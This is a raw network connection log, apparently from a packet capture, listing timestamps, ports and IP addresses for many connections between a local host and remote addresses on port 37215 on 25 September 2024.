Sep 25, 2024 14:14:10.213119984 CEST	54408	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.213561058 CEST	37215	34746	197.186.28.45	192.168.2.14
Sep 25, 2024 14:14:10.213954926 CEST	54560	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.213954926 CEST	54560	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.213994026 CEST	37215	34858	197.186.28.45	192.168.2.14
Sep 25, 2024 14:14:10.214025974 CEST	34858	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.214488983 CEST	37215	50832	156.219.163.0	192.168.2.14
Sep 25, 2024 14:14:10.214730978 CEST	54672	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.214840889 CEST	37215	50944	156.219.163.0	192.168.2.14
Sep 25, 2024 14:14:10.214922905 CEST	50944	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.215182066 CEST	37215	43304	156.33.99.108	192.168.2.14
Sep 25, 2024 14:14:10.215642929 CEST	37215	43416	156.33.99.108	192.168.2.14
Sep 25, 2024 14:14:10.215677977 CEST	43416	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.215745926 CEST	33820	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.215809107 CEST	33820	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.215889931 CEST	37215	39948	41.189.109.120	192.168.2.14
Sep 25, 2024 14:14:10.216408014 CEST	37215	40060	41.189.109.120	192.168.2.14
Sep 25, 2024 14:14:10.216489077 CEST	40060	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.216489077 CEST	33932	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.216646910 CEST	37215	37020	197.170.117.10	192.168.2.14
Sep 25, 2024 14:14:10.216933012 CEST	37215	37132	197.170.117.10	192.168.2.14
Sep 25, 2024 14:14:10.216974020 CEST	37132	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.217103004 CEST	37215	42646	41.141.128.89	192.168.2.14
Sep 25, 2024 14:14:10.217571974 CEST	38374	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.217571974 CEST	38374	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.217684031 CEST	37215	42758	41.141.128.89	192.168.2.14
Sep 25, 2024 14:14:10.217725039 CEST	42758	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.218271971 CEST	38486	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.218780041 CEST	37215	54560	41.146.247.208	192.168.2.14
Sep 25, 2024 14:14:10.218836069 CEST	39448	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.218836069 CEST	39448	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.219090939 CEST	39560	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.219424963 CEST	36318	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.219424963 CEST	36318	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.219635010 CEST	37215	54672	41.146.247.208	192.168.2.14
Sep 25, 2024 14:14:10.219669104 CEST	54672	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.219718933 CEST	36430	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.220047951 CEST	46334	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.220047951 CEST	46334	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.220304966 CEST	46446	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.220679998 CEST	56224	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.220679998 CEST	56224	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.220729113 CEST	37215	33820	156.47.26.203	192.168.2.14
Sep 25, 2024 14:14:10.220977068 CEST	56336	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.221355915 CEST	57530	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.221355915 CEST	57530	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.221441984 CEST	37215	33932	156.47.26.203	192.168.2.14
Sep 25, 2024 14:14:10.221544981 CEST	33932	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.221646070 CEST	57642	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.222002983 CEST	48914	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.222002983 CEST	48914	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.222281933 CEST	49026	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.222481966 CEST	37215	38374	41.111.186.112	192.168.2.14
Sep 25, 2024 14:14:10.222641945 CEST	50806	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.222641945 CEST	50806	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.222923040 CEST	50918	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.223071098 CEST	37215	38486	41.111.186.112	192.168.2.14
Sep 25, 2024 14:14:10.223124981 CEST	38486	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.223325968 CEST	42192	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.223325968 CEST	42192	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.223577976 CEST	42304	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.223711014 CEST	37215	39448	41.164.250.178	192.168.2.14
Sep 25, 2024 14:14:10.223936081 CEST	59056	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.223936081 CEST	59056	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.223937988 CEST	37215	39560	41.164.250.178	192.168.2.14
Sep 25, 2024 14:14:10.224001884 CEST	39560	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.224204063 CEST	59168	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.224246979 CEST	37215	36318	197.125.193.227	192.168.2.14
Sep 25, 2024 14:14:10.224515915 CEST	37215	36430	197.125.193.227	192.168.2.14
Sep 25, 2024 14:14:10.224558115 CEST	36430	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.224572897 CEST	34226	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.224572897 CEST	34226	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.224854946 CEST	34338	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.224890947 CEST	37215	46334	41.21.108.191	192.168.2.14
Sep 25, 2024 14:14:10.225151062 CEST	37215	46446	41.21.108.191	192.168.2.14
Sep 25, 2024 14:14:10.225212097 CEST	36732	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.225212097 CEST	36732	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.225217104 CEST	46446	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.225459099 CEST	37215	56224	156.131.165.57	192.168.2.14
Sep 25, 2024 14:14:10.225495100 CEST	36844	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.225714922 CEST	37215	56336	156.131.165.57	192.168.2.14
Sep 25, 2024 14:14:10.225754023 CEST	56336	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.225838900 CEST	56384	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.225838900 CEST	56384	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.226100922 CEST	56496	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.226169109 CEST	37215	57530	41.23.9.240	192.168.2.14
Sep 25, 2024 14:14:10.226564884 CEST	37215	57642	41.23.9.240	192.168.2.14
Sep 25, 2024 14:14:10.226608992 CEST	57642	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.226964951 CEST	37215	48914	156.115.211.80	192.168.2.14
Sep 25, 2024 14:14:10.227030993 CEST	40338	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.227030993 CEST	40338	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.227207899 CEST	37215	49026	156.115.211.80	192.168.2.14
Sep 25, 2024 14:14:10.227248907 CEST	49026	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.227427959 CEST	37215	50806	156.187.174.94	192.168.2.14
Sep 25, 2024 14:14:10.227669954 CEST	37215	50918	156.187.174.94	192.168.2.14
Sep 25, 2024 14:14:10.227715969 CEST	50918	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.227828979 CEST	40450	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.228266001 CEST	37215	42192	197.251.163.22	192.168.2.14
Sep 25, 2024 14:14:10.228494883 CEST	37215	42304	197.251.163.22	192.168.2.14
Sep 25, 2024 14:14:10.228530884 CEST	42304	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.228921890 CEST	50080	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.228921890 CEST	37215	59056	156.134.127.99	192.168.2.14
Sep 25, 2024 14:14:10.228933096 CEST	50080	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.229027033 CEST	37215	59168	156.134.127.99	192.168.2.14
Sep 25, 2024 14:14:10.229070902 CEST	59168	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.229460955 CEST	37215	34226	41.180.9.202	192.168.2.14
Sep 25, 2024 14:14:10.229722023 CEST	37215	34338	41.180.9.202	192.168.2.14
Sep 25, 2024 14:14:10.229724884 CEST	50192	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.229763031 CEST	34338	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.230027914 CEST	37215	36732	197.190.221.23	192.168.2.14
Sep 25, 2024 14:14:10.230600119 CEST	37215	36844	197.190.221.23	192.168.2.14
Sep 25, 2024 14:14:10.230643034 CEST	36844	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.230659962 CEST	37215	56384	156.5.29.152	192.168.2.14
Sep 25, 2024 14:14:10.230793953 CEST	60004	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.230793953 CEST	60004	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.230892897 CEST	37215	56496	156.5.29.152	192.168.2.14
Sep 25, 2024 14:14:10.230937004 CEST	56496	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.231630087 CEST	60116	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.231852055 CEST	37215	40338	41.36.136.239	192.168.2.14
Sep 25, 2024 14:14:10.232603073 CEST	48156	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.232603073 CEST	48156	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.232846022 CEST	37215	40450	41.36.136.239	192.168.2.14
Sep 25, 2024 14:14:10.232887030 CEST	40450	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.232887030 CEST	48268	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.233262062 CEST	58258	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.233263016 CEST	58258	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.233541012 CEST	58370	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.233782053 CEST	37215	50080	41.196.53.42	192.168.2.14
Sep 25, 2024 14:14:10.233899117 CEST	54100	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.233899117 CEST	54100	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.234196901 CEST	54212	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.234515905 CEST	38006	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.234515905 CEST	38006	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.234540939 CEST	37215	50192	41.196.53.42	192.168.2.14
Sep 25, 2024 14:14:10.234586954 CEST	50192	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.234797955 CEST	38118	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.235146046 CEST	51174	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.235146046 CEST	51174	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.235431910 CEST	51286	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.235692978 CEST	37215	60004	41.58.52.85	192.168.2.14
Sep 25, 2024 14:14:10.235790014 CEST	47298	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.235790014 CEST	47298	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.236067057 CEST	47410	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.236443043 CEST	44884	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.236443043 CEST	44884	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.236726046 CEST	37215	60116	41.58.52.85	192.168.2.14
Sep 25, 2024 14:14:10.236751080 CEST	44996	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.236763954 CEST	60116	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.237082005 CEST	36566	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.237082005 CEST	36566	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.237364054 CEST	36678	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.237446070 CEST	37215	48156	156.34.181.226	192.168.2.14
Sep 25, 2024 14:14:10.237721920 CEST	37215	48268	156.34.181.226	192.168.2.14
Sep 25, 2024 14:14:10.237723112 CEST	59136	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.237723112 CEST	59136	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.237756968 CEST	48268	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.238020897 CEST	59248	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.238228083 CEST	37215	58258	197.176.176.248	192.168.2.14
Sep 25, 2024 14:14:10.238307953 CEST	37215	58370	197.176.176.248	192.168.2.14
Sep 25, 2024 14:14:10.238349915 CEST	58370	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.238393068 CEST	56396	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.238393068 CEST	56396	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.238679886 CEST	56508	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.238764048 CEST	37215	54100	197.138.35.126	192.168.2.14
Sep 25, 2024 14:14:10.238998890 CEST	37215	54212	197.138.35.126	192.168.2.14
Sep 25, 2024 14:14:10.239033937 CEST	54212	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.239058018 CEST	33050	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.239058018 CEST	33050	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.239532948 CEST	37215	38006	41.88.209.182	192.168.2.14
Sep 25, 2024 14:14:10.239593029 CEST	37215	38118	41.88.209.182	192.168.2.14
Sep 25, 2024 14:14:10.239636898 CEST	38118	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.239870071 CEST	33162	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.239974022 CEST	37215	51174	197.190.213.211	192.168.2.14
Sep 25, 2024 14:14:10.240237951 CEST	37215	51286	197.190.213.211	192.168.2.14
Sep 25, 2024 14:14:10.240272999 CEST	51286	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.240742922 CEST	37215	47298	197.20.94.33	192.168.2.14
Sep 25, 2024 14:14:10.241108894 CEST	37215	47410	197.20.94.33	192.168.2.14
Sep 25, 2024 14:14:10.241147041 CEST	47410	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.241225958 CEST	37215	44884	41.63.0.247	192.168.2.14
Sep 25, 2024 14:14:10.241533995 CEST	37215	44996	41.63.0.247	192.168.2.14
Sep 25, 2024 14:14:10.241564989 CEST	44996	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.241879940 CEST	37215	36566	197.99.236.196	192.168.2.14
Sep 25, 2024 14:14:10.242111921 CEST	37215	36678	197.99.236.196	192.168.2.14
Sep 25, 2024 14:14:10.242151976 CEST	36678	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.242824078 CEST	37215	59136	197.22.35.233	192.168.2.14
Sep 25, 2024 14:14:10.242830038 CEST	37215	59248	197.22.35.233	192.168.2.14
Sep 25, 2024 14:14:10.242870092 CEST	59248	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.243036985 CEST	45698	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.243036985 CEST	45698	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.243354082 CEST	37215	56396	41.220.24.144	192.168.2.14
Sep 25, 2024 14:14:10.243510008 CEST	37215	56508	41.220.24.144	192.168.2.14
Sep 25, 2024 14:14:10.243546963 CEST	56508	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.243938923 CEST	37215	33050	41.133.25.7	192.168.2.14
Sep 25, 2024 14:14:10.244492054 CEST	45810	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.244656086 CEST	37215	33162	41.133.25.7	192.168.2.14
Sep 25, 2024 14:14:10.244709969 CEST	33162	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.246404886 CEST	38888	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.246404886 CEST	38888	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.247883081 CEST	39000	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.248029947 CEST	37215	45698	41.167.193.247	192.168.2.14
Sep 25, 2024 14:14:10.249469042 CEST	37215	45810	41.167.193.247	192.168.2.14
Sep 25, 2024 14:14:10.249511003 CEST	45810	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.249876976 CEST	56352	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.249876976 CEST	56352	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.251193047 CEST	37215	38888	197.33.56.32	192.168.2.14
Sep 25, 2024 14:14:10.251353025 CEST	56464	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.252808094 CEST	37215	39000	197.33.56.32	192.168.2.14
Sep 25, 2024 14:14:10.252859116 CEST	39000	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.253442049 CEST	40288	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:10.253442049 CEST	40288	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:10.253815889 CEST	37215	34746	197.186.28.45	192.168.2.14
Sep 25, 2024 14:14:10.253865004 CEST	37215	54296	41.98.119.45	192.168.2.14
Sep 25, 2024 14:14:10.253870010 CEST	37215	51518	156.175.237.207	192.168.2.14
Sep 25, 2024 14:14:10.253880024 CEST	37215	50012	41.26.175.192	192.168.2.14
Sep 25, 2024 14:14:10.254378080 CEST	40400	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:10.254750967 CEST	37215	56352	41.60.198.199	192.168.2.14
Sep 25, 2024 14:14:10.255732059 CEST	42852	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:10.255733013 CEST	42852	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:10.256310940 CEST	37215	56464	41.60.198.199	192.168.2.14
Sep 25, 2024 14:14:10.256350040 CEST	56464	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.256628990 CEST	42964	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:10.257900000 CEST	49798	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:10.257900000 CEST	49798	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:10.258281946 CEST	37215	40288	197.89.170.252	192.168.2.14
Sep 25, 2024 14:14:10.258717060 CEST	49910	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:10.259185076 CEST	37215	40400	197.89.170.252	192.168.2.14
Sep 25, 2024 14:14:10.259253025 CEST	40400	37215	192.168.2.14	197.89.170.252
Sep 25, 2024 14:14:10.259912968 CEST	58412	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:10.259912968 CEST	58412	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:10.260301113 CEST	58524	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:10.260643959 CEST	51866	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:10.260643959 CEST	51866	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:10.260706902 CEST	37215	42852	156.205.105.230	192.168.2.14
Sep 25, 2024 14:14:10.260942936 CEST	51978	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:10.261385918 CEST	37215	42964	156.205.105.230	192.168.2.14
Sep 25, 2024 14:14:10.261425018 CEST	42964	37215	192.168.2.14	156.205.105.230
Sep 25, 2024 14:14:10.261858940 CEST	37215	42646	41.141.128.89	192.168.2.14
Sep 25, 2024 14:14:10.261869907 CEST	37215	33820	156.47.26.203	192.168.2.14
Sep 25, 2024 14:14:10.261874914 CEST	37215	54560	41.146.247.208	192.168.2.14
Sep 25, 2024 14:14:10.261879921 CEST	37215	37020	197.170.117.10	192.168.2.14
Sep 25, 2024 14:14:10.261883974 CEST	37215	39948	41.189.109.120	192.168.2.14
Sep 25, 2024 14:14:10.261888027 CEST	37215	43304	156.33.99.108	192.168.2.14
Sep 25, 2024 14:14:10.261898994 CEST	37215	50832	156.219.163.0	192.168.2.14
Sep 25, 2024 14:14:10.262232065 CEST	57136	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:10.262232065 CEST	57136	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:10.262696028 CEST	37215	49798	197.208.164.58	192.168.2.14
Sep 25, 2024 14:14:10.262958050 CEST	57248	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:10.263528109 CEST	37215	49910	197.208.164.58	192.168.2.14
Sep 25, 2024 14:14:10.263567924 CEST	49910	37215	192.168.2.14	197.208.164.58
Sep 25, 2024 14:14:10.264070988 CEST	42716	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:10.264096022 CEST	42716	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:10.264673948 CEST	37215	58412	156.158.45.127	192.168.2.14
Sep 25, 2024 14:14:10.264915943 CEST	42828	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:10.265069008 CEST	37215	58524	156.158.45.127	192.168.2.14
Sep 25, 2024 14:14:10.265158892 CEST	58524	37215	192.168.2.14	156.158.45.127
Sep 25, 2024 14:14:10.265417099 CEST	37215	51866	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:10.265893936 CEST	37215	56224	156.131.165.57	192.168.2.14
Sep 25, 2024 14:14:10.265898943 CEST	37215	46334	41.21.108.191	192.168.2.14
Sep 25, 2024 14:14:10.265942097 CEST	37215	36318	197.125.193.227	192.168.2.14
Sep 25, 2024 14:14:10.265945911 CEST	37215	39448	41.164.250.178	192.168.2.14
Sep 25, 2024 14:14:10.265955925 CEST	37215	38374	41.111.186.112	192.168.2.14
Sep 25, 2024 14:14:10.265960932 CEST	37215	51978	197.8.254.42	192.168.2.14
Sep 25, 2024 14:14:10.265990973 CEST	51978	37215	192.168.2.14	197.8.254.42
Sep 25, 2024 14:14:10.266064882 CEST	50032	37215	192.168.2.14	197.218.197.167
Sep 25, 2024 14:14:10.266078949 CEST	50032	37215	192.168.2.14	197.218.197.167
Sep 25, 2024 14:14:10.266890049 CEST	50144	37215	192.168.2.14	197.218.197.167
Sep 25, 2024 14:14:10.267047882 CEST	37215	57136	41.216.132.188	192.168.2.14
Sep 25, 2024 14:14:10.267757893 CEST	51580	37215	192.168.2.14	41.80.11.132
Sep 25, 2024 14:14:10.267757893 CEST	51580	37215	192.168.2.14	41.80.11.132
Sep 25, 2024 14:14:10.267788887 CEST	37215	57248	41.216.132.188	192.168.2.14
Sep 25, 2024 14:14:10.267906904 CEST	57248	37215	192.168.2.14	41.216.132.188
Sep 25, 2024 14:14:10.268038034 CEST	51692	37215	192.168.2.14	41.80.11.132
Sep 25, 2024 14:14:10.268382072 CEST	42020	37215	192.168.2.14	41.74.74.240
Sep 25, 2024 14:14:10.268382072 CEST	42020	37215	192.168.2.14	41.74.74.240
Sep 25, 2024 14:14:10.268654108 CEST	42132	37215	192.168.2.14	41.74.74.240
Sep 25, 2024 14:14:10.268881083 CEST	37215	42716	197.253.41.239	192.168.2.14
Sep 25, 2024 14:14:10.269017935 CEST	43598	37215	192.168.2.14	197.8.14.51
Sep 25, 2024 14:14:10.269042015 CEST	43598	37215	192.168.2.14	197.8.14.51
Sep 25, 2024 14:14:10.269324064 CEST	43710	37215	192.168.2.14	197.8.14.51
Sep 25, 2024 14:14:10.269726038 CEST	37215	42828	197.253.41.239	192.168.2.14
Sep 25, 2024 14:14:10.269763947 CEST	42828	37215	192.168.2.14	197.253.41.239
Sep 25, 2024 14:14:10.269802094 CEST	54408	37215	192.168.2.14	41.98.119.45
Sep 25, 2024 14:14:10.269818068 CEST	34858	37215	192.168.2.14	197.186.28.45
Sep 25, 2024 14:14:10.269819021 CEST	43416	37215	192.168.2.14	156.33.99.108
Sep 25, 2024 14:14:10.269838095 CEST	37132	37215	192.168.2.14	197.170.117.10
Sep 25, 2024 14:14:10.269850969 CEST	42758	37215	192.168.2.14	41.141.128.89
Sep 25, 2024 14:14:10.269855976 CEST	54672	37215	192.168.2.14	41.146.247.208
Sep 25, 2024 14:14:10.269860029 CEST	50944	37215	192.168.2.14	156.219.163.0
Sep 25, 2024 14:14:10.269860029 CEST	40060	37215	192.168.2.14	41.189.109.120
Sep 25, 2024 14:14:10.269860029 CEST	33932	37215	192.168.2.14	156.47.26.203
Sep 25, 2024 14:14:10.269867897 CEST	38486	37215	192.168.2.14	41.111.186.112
Sep 25, 2024 14:14:10.269884109 CEST	37215	34226	41.180.9.202	192.168.2.14
Sep 25, 2024 14:14:10.269884109 CEST	39560	37215	192.168.2.14	41.164.250.178
Sep 25, 2024 14:14:10.269889116 CEST	37215	59056	156.134.127.99	192.168.2.14
Sep 25, 2024 14:14:10.269891024 CEST	46446	37215	192.168.2.14	41.21.108.191
Sep 25, 2024 14:14:10.269893885 CEST	37215	42192	197.251.163.22	192.168.2.14
Sep 25, 2024 14:14:10.269896030 CEST	36430	37215	192.168.2.14	197.125.193.227
Sep 25, 2024 14:14:10.269898891 CEST	37215	50806	156.187.174.94	192.168.2.14
Sep 25, 2024 14:14:10.269907951 CEST	57642	37215	192.168.2.14	41.23.9.240
Sep 25, 2024 14:14:10.269910097 CEST	37215	48914	156.115.211.80	192.168.2.14
Sep 25, 2024 14:14:10.269911051 CEST	56336	37215	192.168.2.14	156.131.165.57
Sep 25, 2024 14:14:10.269932032 CEST	50918	37215	192.168.2.14	156.187.174.94
Sep 25, 2024 14:14:10.269933939 CEST	49026	37215	192.168.2.14	156.115.211.80
Sep 25, 2024 14:14:10.269953012 CEST	42304	37215	192.168.2.14	197.251.163.22
Sep 25, 2024 14:14:10.269956112 CEST	59168	37215	192.168.2.14	156.134.127.99
Sep 25, 2024 14:14:10.269964933 CEST	34338	37215	192.168.2.14	41.180.9.202
Sep 25, 2024 14:14:10.269975901 CEST	36844	37215	192.168.2.14	197.190.221.23
Sep 25, 2024 14:14:10.269977093 CEST	56496	37215	192.168.2.14	156.5.29.152
Sep 25, 2024 14:14:10.269987106 CEST	40450	37215	192.168.2.14	41.36.136.239
Sep 25, 2024 14:14:10.269992113 CEST	50192	37215	192.168.2.14	41.196.53.42
Sep 25, 2024 14:14:10.269995928 CEST	60116	37215	192.168.2.14	41.58.52.85
Sep 25, 2024 14:14:10.270011902 CEST	48268	37215	192.168.2.14	156.34.181.226
Sep 25, 2024 14:14:10.270013094 CEST	58370	37215	192.168.2.14	197.176.176.248
Sep 25, 2024 14:14:10.270031929 CEST	38118	37215	192.168.2.14	41.88.209.182
Sep 25, 2024 14:14:10.270044088 CEST	51286	37215	192.168.2.14	197.190.213.211
Sep 25, 2024 14:14:10.270050049 CEST	47410	37215	192.168.2.14	197.20.94.33
Sep 25, 2024 14:14:10.270061016 CEST	44996	37215	192.168.2.14	41.63.0.247
Sep 25, 2024 14:14:10.270062923 CEST	36678	37215	192.168.2.14	197.99.236.196
Sep 25, 2024 14:14:10.270068884 CEST	59248	37215	192.168.2.14	197.22.35.233
Sep 25, 2024 14:14:10.270076990 CEST	56508	37215	192.168.2.14	41.220.24.144
Sep 25, 2024 14:14:10.270080090 CEST	54212	37215	192.168.2.14	197.138.35.126
Sep 25, 2024 14:14:10.270081043 CEST	33162	37215	192.168.2.14	41.133.25.7
Sep 25, 2024 14:14:10.270090103 CEST	45810	37215	192.168.2.14	41.167.193.247
Sep 25, 2024 14:14:10.270101070 CEST	39000	37215	192.168.2.14	197.33.56.32
Sep 25, 2024 14:14:10.270101070 CEST	56464	37215	192.168.2.14	41.60.198.199
Sep 25, 2024 14:14:10.270123959 CEST	42964	37215	192.168.2.14	156.205.105.230
